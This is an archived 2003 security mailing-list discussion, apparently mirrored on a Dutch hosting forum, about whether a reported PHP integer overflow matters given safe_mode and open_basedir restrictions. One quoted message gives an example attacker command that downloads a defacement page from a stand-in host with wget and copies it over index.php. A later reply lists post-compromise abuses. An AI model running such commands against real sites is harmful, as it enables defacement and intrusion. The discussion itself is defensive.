Likes Likes:  0
Resultaten 1 tot 2 van de 2
Geen
  1. #1
    Javi Lavandeira
    Re: @(#)Mordred Labs advisory - Integer overflow in PHP
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: @(#)Mordred Labs advisory - Integer overflow in PHP

    Hi,

    On Thu, 3 Apr 2003 08:39:03 +0200
    Goran Krajnovic <goran.krajnovic@hinet.hr> wrote:

    > [...]
    > If an attacker has the opportunity to execude PHP code of his choice on a
    > target server [1], he does not need to exploit a buffer overflow in PHP just to
    > get the privileges of the web server user - he already runs code with the
    > privileges of that user. And having the ability to run PHP code gives him just
    > about the same level of power as getting a non-root shell on the box.
    > [...]
    > [1] Usually by exploiting some of the poor programming practices in some PHP
    > applications, misconfigurations, or bugs. See
    > http://www.securityfocus.com/bid/3889 for example. In a typical attack, this is
    > used to execute code, and the code is usually system('wget
    > http://another.exploited.host/defaced-index.php'); system('cp defaced-index.php
    > index.php') or similar.


    You seem to be forgetting about PHP's safe_mode, disable_functions and open_basedir directives. If configured properly, a user in a server with PHP support should not be able to execute commands, read other users' files or do anything outside his director
    y. Even though PHP is running with the privileges of the web server, the user doesn't have these privileges (again, if properly configured). Many ISPs configure PHP in this way.

    *IF* the overflow really exists *AND* is exploitable, I would be very worried, because *THEN* users could gain the privileges of the web server and do things they shouldn't be doing.

    Regards,

    --
    Javier Lavandeira
    International Systems Research
    http://www.isr.co.jp

  2. #2
    Muhammad Faisal Rauf Danka
    Re: @(#)Mordred Labs advisory - Integer overflow in PHP
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: @(#)Mordred Labs advisory - Integer overflow in PHP

    Just to add a little more to what Mr Jedi said,

    Only allowing php code of the choice, may also endup in infinite loops causing denial of service. Including that, they may attempt to establish connection with other machines, within the LAN or imagine bruteforcing SQL servers on the internet, or bannergr
    abbing for that matter.

    Having the "apache" or "nobody" privileges, the attacker could do:

    - privilege escalation by using local vulnerabilities.
    - destroy/ delete/ tamper the logfiles.
    - destroy / delete/ tamper the webpages of other customers.
    - use it as a launchpad to attack other machines.
    - use it for mailbombing / spam / DoS / DDoS / Warez / Bouncing.


    Regards
    --------
    Muhammad Faisal Rauf Danka


    --- Jedi/Sector One <j@pureftpd.org> wrote:
    >On Thu, Apr 03, 2003 at 08:39:03AM +0200, Goran Krajnovic wrote:
    >> This is a bit pointless, IMHO. 99% of PHP installations run the PHP code with
    >> the user-id of the web server process (usually a low privilege user like
    >> 'nobody' or 'apache').

    >[snip snip]
    >> If an attacker has the opportunity to execude PHP code of his choice on a
    >> target server [1], he does not need to exploit a buffer overflow in PHP just to
    >> get the privileges of the web server user

    >
    > You missed an important point.
    >
    > Hosting services offering a PHP interpreter to untrusted people rely on
    >PHP features to restrict their field of action.
    >
    > Specifically, the open_basedir and safe_mode features are a must to avoid
    >people going outside their home directory with PHP scripts.
    >
    > If arbitrary code can be run through a PHP vulnerability, these
    >restrictions disappear. People can walk through files that are supposed to
    >be inaccessible.
    >
    > Given that many people just chmod -R 777 their directories when their
    >script doesn't work and leave plaintext SQL passwords everywhere, this is
    >definitely ann issue.
    >
    > Also don't forget that all PHP extensions aren't always enabled. For
    >instance, the socket extension is typically disabled by most hosting service
    >providers for obvious reasons.
    >
    > Once and again, a vulnerability in the PHP interpreter can bypass this
    >restriction and gain access to other machines of the LAN, run DOS agents, etc.
    >
    > Of course, one shouldn't rely 100% on PHP userland security barriers, this
    >is where tools like NetBSD/OpenBSD's systrace can really add another
    >efficient layer of security.
    >
    >--
    > __ /*- Frank DENIS (Jedi/Sector One) <j@42-Networks.Com> -*\ __
    > \ '/ <a href="http://www.PureFTPd.Org/"> Secure FTP Server </a> \' /
    > \/ <a href="http://www.Jedi.Claranet.Fr/"> Misc. free software </a> \/


    __________________________________________________ ___________
    ---------------------------
    [ATTITUDEX.COM]
    http://www.attitudex.com/
    ---------------------------

    __________________________________________________ ___________
    Select your own custom email address for FREE! Get you@yourchoice.com w/No Ads, 6MB, POP & more! http://www.everyone.net/selectmail?campaign=tag

Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics